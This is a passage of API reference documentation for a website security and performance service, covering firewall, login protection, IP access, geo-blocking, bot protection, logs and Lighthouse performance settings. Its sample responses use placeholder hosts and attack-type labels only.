      "to": "https://malicious.example/phishing",
      "marked_safe": false,
      "detected_at": "2026-05-25T07:40:00Z"
    },
    {
      "type": "new_tab",
      "location": "https://example.com/contact",
      "from": "https://example.com/contact",
      "to": "https://trusted.example/help",
      "marked_safe": true,
      "detected_at": "2026-05-24T07:40:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Mark redirection detections as safe

`POST /sites/{site_id}/security/scanner/detections/redirections/safe`  
Operation ID: `markSiteSecurityScannerDetectionRedirectionsSafe`

Marks one or more redirection destination URLs as safe for the site.

Use this after reviewing the redirection list and confirming that the
submitted destination URLs are expected.

Send destination URLs returned by the list response. Duplicate URLs are
processed once. The destination host from each URL is marked safe for
this site. On success, the response returns the processed URLs and
starts a site sync so the updated safe status can be applied.

A successful response returns processed destination URLs and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `urls`

```json
{
  "urls": [
    "https://malicious.example/phishing"
  ]
}
```

Successful responses:

- **200** — Redirection detections were marked safe.

```json
{
  "safe": {
    "urls": [
      "https://malicious.example/phishing"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 429

### Login Protection

#### List login protection attempts

`GET /sites/{site_id}/security/login-protection/attempts`  
Operation ID: `listSiteSecurityLoginProtectionAttempts`

Returns login attempts for the selected site.

Use this list to review site login history, investigate blocked
attempts, or filter recent login activity by source IP, user name, or
status.

The site plan must support Login Protection.

A successful response returns a paginated list of login protection
attempts.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`, `status`, `ip_address`, `username`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
  - `eq`: `status`, `ip_address`, `username`
  - `not_eq`: `status`, `ip_address`, `username`
  - `in`: `status`, `ip_address`, `username`
  - `not_in`: `status`, `ip_address`, `username`
  - `contains`: `ip_address`, `username`
  - `start`: `ip_address`, `username`
  - `end`: `ip_address`, `username`
- Supported `status` values for matching: `succeeded`, `failed`, `blocked`
- Use ISO 8601 timestamps for `timestamp` filters
- Default time range: last 14 days
- Example: `filters[status:eq]=failed`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `timestamp`, `ip_address`, `status`, `username`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `timestamp,desc`
- Example: `sort=timestamp,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned login attempts.
- `filters` (query, optional, object) — Filters applied to returned login attempts.

Successful responses:

- **200** — Login protection attempts returned successfully.

```json
{
  "attempts": [
    {
      "id": "7f9c2a41b6d84e13a0c9f572",
      "timestamp": "2026-05-25T08:00:00Z",
      "username": "admin",
      "ip_address": "203.0.113.10",
      "country_code": "US",
      "status": "failed",
      "category": "allowed"
    },
    {
      "id": "8d2f4b63e1a74c0d95b6f3a8",
      "timestamp": "2026-05-25T08:05:00Z",
      "username": "editor",
      "ip_address": "198.51.100.8",
      "country_code": "GB",
      "status": "blocked",
      "category": "captcha_block"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show login protection attempt stats

`GET /sites/{site_id}/security/login-protection/attempts/stats`  
Operation ID: `showSiteSecurityLoginProtectionAttemptStats`

Returns login attempt totals and trend data for the selected site.

Use this when you need summary counts or login protection trends for a
selected time range.

The site plan must support Login Protection.

A successful response returns login protection attempt stats.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`, `status`, `ip_address`, `username`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
  - `eq`: `status`, `ip_address`, `username`
  - `not_eq`: `status`, `ip_address`, `username`
  - `in`: `status`, `ip_address`, `username`
  - `not_in`: `status`, `ip_address`, `username`
  - `contains`: `ip_address`, `username`
  - `start`: `ip_address`, `username`
  - `end`: `ip_address`, `username`
- Supported `status` values for matching: `succeeded`, `failed`, `blocked`
- Use ISO 8601 timestamps for `timestamp` filters
- Default time range: last 14 days
- Example: `filters[status:eq]=blocked`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `filters` (query, optional, object) — Filters applied to returned login attempt stats.

Successful responses:

- **200** — Login protection attempt stats were returned.

```json
{
  "stats": {
    "attempts": {
      "total": 100,
      "succeeded": 20,
      "failed": 70,
      "blocked": 10,
      "trends": [
        {
          "timestamp": "2026-05-25T08:00:00Z",
          "total": 17,
          "succeeded": 5,
          "failed": 10,
          "blocked": 2
        }
      ]
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Firewall Activation

#### Enable site firewall

`POST /sites/{site_id}/security/firewall/enable`  
Operation ID: `enableSiteSecurityFirewall`

Turns firewall protection on for the selected site and returns the current
firewall state. The response includes whether firewall protection is
enabled and whether advanced firewall protection is active.

Use this when firewall protection should be turned on. No request body
is required.

The site plan must support Firewall.

A successful response returns `firewall.enabled: true` and the current
`firewall.advanced` state.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Firewall protection was enabled.

```json
{
  "firewall": {
    "enabled": true,
    "advanced": true
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

#### Disable site firewall

`POST /sites/{site_id}/security/firewall/disable`  
Operation ID: `disableSiteSecurityFirewall`

Turns firewall protection off for the selected site and returns the current
firewall state. The response includes whether firewall protection is
enabled and whether advanced firewall protection is active.

Use this when firewall protection should be turned off. No request body
is required.

A successful response returns `firewall.enabled: false` and the current
`firewall.advanced` state.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Firewall protection was disabled.

```json
{
  "firewall": {
    "enabled": false,
    "advanced": false
  }
}
```

Errors: 401, 403, 404, 409, 429

### IP Access

#### Show IP Access settings

`GET /sites/{site_id}/security/firewall/ip-access`  
Operation ID: `showSiteSecurityFirewallIpAccess`

Returns IP addresses configured in IP Access for the selected site.

Use this before adding or deleting IP Access entries to see the current
trusted IP addresses.

The response returns only IP addresses explicitly configured for this
site. The site plan must support Firewall.

A successful response returns the current IP Access settings.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — IP Access settings were returned.

```json
{
  "ip_access": {
    "whitelisted_ips": [
      "203.0.113.10",
      "2001:db8::10"
    ]
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Add IP addresses to IP Access

`POST /sites/{site_id}/security/firewall/ip-access/whitelist`  
Operation ID: `whitelistSiteSecurityFirewallIps`

Adds IPv4 or IPv6 addresses to IP Access for the selected site.

Use this when trusted operators, monitoring systems, office networks, or
support IP addresses should not be blocked by firewall and login
protection checks.

The request body must include a non-empty `ips` array. Each value must be
a valid IPv4 or IPv6 address with no leading or trailing whitespace.
Duplicate IP addresses are processed once. The change is saved, and a
configuration sync starts so protection checks can use the updated list.
The site plan must support Firewall.

A successful response returns processed IP addresses and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `ips`

```json
{
  "ips": [
    "203.0.113.10",
    "2001:db8::10"
  ]
}
```

Successful responses:

- **200** — IP addresses were added to IP Access.

```json
{
  "whitelist": {
    "ips": [
      "203.0.113.10",
      "2001:db8::10"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Remove IP addresses from IP Access

`POST /sites/{site_id}/security/firewall/ip-access/delete`  
Operation ID: `deleteSiteSecurityFirewallIpAccess`

Removes IPv4 or IPv6 addresses from IP Access for the selected site.
Deleted IP addresses no longer have an explicit site-level allow rule for
firewall and login protection checks.

Use this when a trusted IP address should no longer be allowed through
firewall and login protection checks or when an external trusted IP list
needs to stay up to date.

The request body must include a non-empty `ips` array. Each value must be
a valid IPv4 or IPv6 address with no leading or trailing whitespace.
Duplicate IP addresses are processed once. The change is saved, and a
configuration sync starts so protection checks can use the updated list.
The site plan must support Firewall.

A successful response returns processed IP addresses and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `ips`

```json
{
  "ips": [
    "203.0.113.10"
  ]
}
```

Successful responses:

- **200** — IP addresses were removed from IP Access.

```json
{
  "delete": {
    "ips": [
      "203.0.113.10"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Geo Blocking

#### Show geo-blocking settings

`GET /sites/{site_id}/security/firewall/geo-blocking`  
Operation ID: `getSiteSecurityFirewallGeoBlocking`

Returns country codes currently blocked for the selected site.

Use this before changing Geo Blocking to see which countries are
currently blocked.

If no countries are blocked, the response contains an empty
`country_codes` array.

A successful response returns Geo Blocking settings.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Geo Blocking settings were returned.

```json
{
  "geo_blocking": {
    "country_codes": [
      "US",
      "GB"
    ]
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Block countries

`POST /sites/{site_id}/security/firewall/geo-blocking/block`  
Operation ID: `blockSiteSecurityFirewallGeoBlockingCountries`

Adds country codes to the selected site's blocked-country list.

Use this when requests from selected countries should be blocked by the
site's firewall.

`country_codes` must be a non-empty array of supported two-letter country
codes. Values are normalized to uppercase, and duplicate country codes
are processed once. The change is saved, and a background task applies it
to the site.

A successful response returns accepted country codes and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `country_codes`

```json
{
  "country_codes": [
    "us",
    "GB"
  ]
}
```

Successful responses:

- **200** — Country codes were accepted for blocking.

```json
{
  "block": {
    "country_codes": [
      "US",
      "GB"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Unblock countries

`POST /sites/{site_id}/security/firewall/geo-blocking/unblock`  
Operation ID: `unblockSiteSecurityFirewallGeoBlockingCountries`

Removes country codes from the selected site's blocked-country list.

Use this when requests from one or more previously blocked countries
should be allowed again.

`country_codes` must be a non-empty array of supported two-letter country
codes. Values are normalized to uppercase, and duplicate country codes
are processed once. The change is saved, and a background task applies it
to the site.

A successful response returns accepted country codes and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `country_codes`

```json
{
  "country_codes": [
    "US"
  ]
}
```

Successful responses:

- **200** — Country codes were accepted for unblocking.

```json
{
  "unblock": {
    "country_codes": [
      "US"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Bot Protection

#### Enable bot protection

`POST /sites/{site_id}/security/firewall/bot-protection/enable`  
Operation ID: `enableSiteSecurityFirewallBotProtection`

Turns bot protection on for the selected site and returns the current bot
protection state.

Use this when bot protection should be turned on. No request body is
required.

The site plan must support Bot Protection.

A successful response returns `bot_protection.enabled: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Bot protection was enabled.

```json
{
  "bot_protection": {
    "enabled": true
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

#### Disable bot protection

`POST /sites/{site_id}/security/firewall/bot-protection/disable`  
Operation ID: `disableSiteSecurityFirewallBotProtection`

Turns bot protection off for the selected site and returns the current bot
protection state.

Use this when bot protection should be turned off. No request body is
required.

A successful response returns `bot_protection.enabled: false`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Bot protection was disabled.

```json
{
  "bot_protection": {
    "enabled": false
  }
}
```

Errors: 401, 403, 404, 409, 429

#### Show bot protection stats

`GET /sites/{site_id}/security/firewall/bot-protection/stats`  
Operation ID: `showSiteSecurityFirewallBotProtectionStats`

Returns bot traffic stats for the selected site. The response groups
bots into recognized and blocked or unwanted lists, with request counts
for each bot.

Use this to review bot traffic activity for a selected time range. When
no time range is provided, stats for the last 14 days are returned.

The site plan must support Bot Protection.

A successful response returns bot protection stats.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
- Use ISO 8601 timestamps for `timestamp` filters
- Default time range: last 14 days
- Example: `filters[timestamp:gte]=2026-05-01T00:00:00Z`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `filters` (query, optional, object) — Filters applied to returned bot protection stats.

Successful responses:

- **200** — Bot protection stats were returned.

```json
{
  "stats": {
    "bots": {
      "total": 2,
      "blocked": 1,
      "good": [
        {
          "name": "Googlebot",
          "requests": 50
        }
      ],
      "bad": [
        {
          "name": "BadBot",
          "requests": 10
        }
      ]
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Firewall Logs

#### List firewall logs

`GET /sites/{site_id}/security/firewall/logs`  
Operation ID: `listSiteSecurityFirewallLogs`

Returns firewall request logs for the selected site. Each log includes
the request ID, timestamp, source IP, country code, method, path, user
agent, HTTP response code, firewall decision, reason, and category.

Use this list to investigate recent firewall decisions or find requests
by source IP, path, status, method, response code, or user agent.

The site plan must support Firewall. When
timestamp filters are omitted, the default time range is the last 14
days.

A successful response returns a paginated list of firewall logs.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`, `ip_address`, `status`, `method`, `response_code`, `path`, `user_agent`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
  - `contains`: `ip_address`, `path`, `user_agent`
  - `eq`: `status`, `method`, `response_code`
- Supported `status` values for matching: `allowed`, `blocked`, `bypassed`
- Use ISO 8601 timestamps for `timestamp` filters
- Default time range: last 14 days
- Example: `filters[status:eq]=blocked`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `timestamp`, `ip_address`, `status`, `response_code`, `method`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `timestamp,desc`
- Example: `sort=timestamp,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned firewall logs.
- `filters` (query, optional, object) — Filters applied to returned firewall logs.

Successful responses:

- **200** — Firewall logs were returned.

```json
{
  "logs": [
    {
      "id": "7f9c2a41b6d84e13a0c9f572",
      "timestamp": "2026-05-25T08:00:00Z",
      "ip_address": "203.0.113.10",
      "country_code": "US",
      "method": "GET",
      "path": "/wp-login.php",
      "user_agent": "curl/8.0",
      "response_code": 403,
      "status": "blocked",
      "reason": "SQL Injection Attack",
      "category": "rule_blocked"
    },
    {
      "id": "8d2f4b63e1a74c0d95b6f3a8",
      "timestamp": "2026-05-25T08:03:12Z",
      "ip_address": "198.51.100.24",
      "country_code": "GB",
      "method": "POST",
      "path": "/xmlrpc.php",
      "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
      "response_code": 403,
      "status": "blocked",
      "reason": "XMLRPC Attack Bot",
      "category": "bot_blocked"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show firewall log stats

`GET /sites/{site_id}/security/firewall/logs/stats`  
Operation ID: `showSiteSecurityFirewallLogStats`

Returns firewall request totals and trend data for the selected site.
The response includes total, allowed, and blocked request counts, plus
trend buckets for the selected time range.

Use this when you need summary counts or firewall traffic trends for a
selected time range. This request accepts the same filters as the list
request.

The site plan must support Firewall. When
timestamp filters are omitted, the default time range is the last 14
days.

A successful response returns firewall log stats.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `timestamp`, `ip_address`, `status`, `method`, `response_code`, `path`, `user_agent`
- Supported operators:
  - `gte`: `timestamp`
  - `lte`: `timestamp`
  - `contains`: `ip_address`, `path`, `user_agent`
  - `eq`: `status`, `method`, `response_code`
- Supported `status` values for matching: `allowed`, `blocked`, `bypassed`
- Use ISO 8601 timestamps for `timestamp` filters
- Default time range: last 14 days
- Example: `filters[status:eq]=blocked`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `filters` (query, optional, object) — Filters applied to firewall log stats.

Successful responses:

- **200** — Firewall log stats were returned.

```json
{
  "stats": {
    "requests": {
      "total": 100,
      "allowed": 80,
      "blocked": 20,
      "trends": [
        {
          "timestamp": "2026-05-25T06:00:00Z",
          "total": 50,
          "allowed": 40,
          "blocked": 10
        }
      ]
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Performance Reports

#### List performance reports

`GET /sites/performance/reports`  
Operation ID: `listSitesPerformanceReports`

Returns a paginated list of sites with each site's latest performance
report. Each site includes its site ID, last sync time, and
`performance.reports`. Sites without report data are returned with an
empty `performance.reports` array.

Use this list to compare the latest performance scores, metrics, and
audits across sites, or to identify sites that do not have report data
yet.

Send `site_ids` to limit results to selected sites. When sent,
`site_ids` must be an array, and every submitted site ID must be
available to you. Omit `site_ids` to include all sites available to you.

A successful response returns a paginated list of sites with their latest
performance report data.

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `id`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `id,desc`
- Example: `sort=id,asc`

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned performance report sites.

Successful responses:

- **200** — Performance report sites returned successfully.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "performance": {
        "reports": [
          {
            "url": "https://example.com",
            "device": "mobile",
            "lighthouse_version": "10.4.0",
            "created_at": "2026-01-12T08:18:30Z",
            "score": 92,
            "metrics": {
              "load_time": {
                "value": 2.1,
                "unit": "second"
              },
              "page_size": {
                "value": 1024000,
                "unit": "bytes"
              },
              "request_count": {
                "value": 45,
                "unit": "requests"
              },
              "first_contentful_paint": {
                "value": 1200.5,
                "unit": "millisecond",
                "score": 0.95
              },
              "largest_contentful_paint": {
                "value": 1800.2,
                "unit": "millisecond",
                "score": 0.88
              },
              "speed_index": {
                "value": 2000,
                "unit": "millisecond",
                "score": 0.9
              },
              "interactive": {
                "value": 3100.8,
                "unit": "millisecond",
                "score": 0.85
              },
              "total_blocking_time": {
                "value": 180,
                "unit": "millisecond",
                "score": 0.92
              },
              "cumulative_layout_shift": {
                "value": 0.05,
                "score": 0.98
              }
            },
            "audits": {
              "diagnostics": [
                "Avoid enormous network payloads"
              ],
              "passed": [
                "Uses passive listeners to improve scrolling performance"
              ],
              "not_applicable": []
            }
          }
        ]
      }
    },
    {
      "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604",
      "last_sync_at": "2026-01-11T10:15:00Z",
      "performance": {
        "reports": []
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show performance report

`GET /sites/{site_id}/performance/reports`  
Operation ID: `showSitePerformanceReport`

Returns the latest available performance report for the selected site.

Use this after listing performance reports when you need the score,
metrics, audit results, and Lighthouse category details for the selected
site.

The report `type` is `partial` when only performance data is available.
It is `full` when Lighthouse category data is also available. Full
reports can include `accessibility`, `best_practices`, `seo`, and
`pwa`; a category can be an empty object when Lighthouse does not return
data for it.

A successful response returns the latest report under
`performance.reports`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Performance report returned successfully.

```json
{
  "performance": {
    "reports": [
      {
        "type": "partial",
        "url": "https://example.com",
        "device": "mobile",
        "lighthouse_version": "10.4.0",
        "created_at": "2026-01-12T08:18:30Z",
        "score": 88,
        "metrics": {
          "load_time": {
            "value": 2.1,
            "unit": "second"
          },
          "page_size": {
            "value": 1024000,
            "unit": "bytes"
          },
          "request_count": {
            "value": 45,
            "unit": "requests"
          },
          "first_contentful_paint": {
            "value": 1200.5,
            "unit": "millisecond",
            "score": 0.95
          },
          "largest_contentful_paint": {
            "value": 1800.2,
            "unit": "millisecond",
            "score": 0.88
          },
          "speed_index": {
            "value": 2000,
            "unit": "millisecond",
            "score": 0.9
          },
          "interactive": {
            "value": 3100.8,
            "unit": "millisecond",
            "score": 0.85
          },
          "total_blocking_time": {
            "value": 180,
            "unit": "millisecond",
            "score": 0.92
          },
          "cumulative_layout_shift": {
            "value": 0.05,
            "score": 0.98
          }
        },
        "audits": {
          "opportunities": [
            {
              "title": "Reduce unused JavaScript",
              "description": "Reduce unused JavaScript and defer loading scripts until they are required.",
              "score": 0.65,
              "display_value": "120 KiB"
            }
          ],
          "diagnostics": [
            "Avoid enormous network payloads"
          ],
          "passed": [
            "Uses passive listeners to improve scrolling performance"
          ],
          "not_applicable": [
            "Does not use passive listeners"
          ]
        }
      }
    ]
  }
}
```

Errors: 401, 403, 404, 422, 429

### Performance Activation

#### Enable site performance

`POST /sites/{site_id}/performance/enable`  
Operation ID: `enableSitePerformance`

Enables performance optimization for the selected site.

Use this when the site should use performance optimization. No request
body is required.

The site plan must support performance optimization.

A successful response returns `performance.enabled: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Performance optimization enabled successfully.

```json
{
  "performance": {
    "enabled": true
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

#### Disable site performance

`POST /sites/{site_id}/performance/disable`  
Operation ID: `disableSitePerformance`

Disables performance optimization for the selected site.

Use this when the site should stop using performance optimization. No
request body is required.

A successful response returns `performance.enabled: false`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Performance optimization disabled successfully.

```json
{
  "performance": {
    "enabled": false
  }
}
```

Errors: 401, 403, 404, 422, 429

### Performance Settings

#### Show performance settings

`GET /sites/{site_id}/performance/settings`  
Operation ID: `showSitePerformanceSettings`

Returns the current performance optimization settings for the selected
site.

Use this to review cache, JavaScript, CSS, image, and font optimization
settings.

The site plan must support performance optimization.

A successful response returns `performance.settings`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Current performance settings for the site.

```json
{
  "performance": {
    "settings": {
      "cache": {
        "specific_cookies_optimized": {
          "enabled": false,
          "cookies": []
        },
        "disable_caching_for_cookies": {
          "enabled": false,
          "cookies": []
        },
        "disable_optimizations_for_urls": {
          "enabled": false,
          "urls": []
        },
        "disable_optimizations_for_query_params": {
          "enabled": false,
          "params": []
        },
        "specific_cookies_optimized_toggle": {
          "enabled": false,
          "cookies_count": 0
        },
        "custom_urls_optimization": {
          "enabled": false,
          "urls": []
        }
      },
      "javascript": {
        "disable_javascript_defer": {
          "urls": []
        },
        "script_minification": {
          "enabled": true
        },
        "javascript_execution_on_user_interaction": {
          "enabled": false,
          "paths": []
        },
        "optimize_execution_speed": {
          "enabled": false,
          "urls": []
        },
        "strategically_delay_javascript": {
          "enabled": false,
          "urls": []
        },
        "exclude_specific_urls_for_scripts": {
          "enabled": false,
          "urls": []
        },
        "enhance_scoring_by_delaying_inline_scripts": {
          "enabled": false,
          "content": []
        },
        "exclude_specific_scripts_under_delay": {
          "enabled": false,
          "scripts": []
        },
        "script_specific_minification_control": {
          "enabled": false,
          "urls": []
        }
      },
      "stylesheet": {
        "dynamic_used_css": {
          "enabled": true
        },
        "include_content_of_specific_urls": {
          "enabled": false,
          "urls": []
        }
      },
      "images": {
        "lazyload_images": {
          "enabled": true
        },
        "lazyloading_non_viewport_image_tags": {
          "enabled": true
        },
        "lazyloading_non_viewport_stylesheet_images": {
          "enabled": true
        },
        "exclude_specific_urls_from_lazy_loading": {
          "enabled": false,
          "urls": []
        },
        "disable_creation_of_picture_tags": {
          "enabled": false
        },
        "lazyloading_non_viewport_picture_tags": {
          "enabled": true
        },
        "preload_specific_image_urls": {
          "enabled": false,
          "urls": []
        }
      },
      "fonts": {
        "conversion_of_fonts_to_woff2": {
          "enabled": true
        },
        "font_subsetting": {
          "enabled": true
        }
      }
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Update performance settings

`POST /sites/{site_id}/performance/settings/update`  
Operation ID: `updateSitePerformanceSettings`

Updates performance optimization settings for the selected site.

Use this when cache, JavaScript, CSS, image, or font optimization
behavior needs to change.

Send the setting groups to change under `performance.settings`. Omitted
groups remain unchanged, and at least one supported group must be
present.

A successful response returns the task created to apply the settings
update. Use the returned task ID with Tasks to track progress.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `performance`

```json
{
  "performance": {
    "settings": {
      "cache": {
        "specific_cookies_optimized_toggle": {
          "enabled": true
        },
        "custom_urls_optimization": {
          "enabled": true,
          "urls": [
            "/landing-page"
          ]
        }
      }
    }
  }
}
```

Successful responses:

- **200** — Performance settings update task started successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T08:18:30Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429
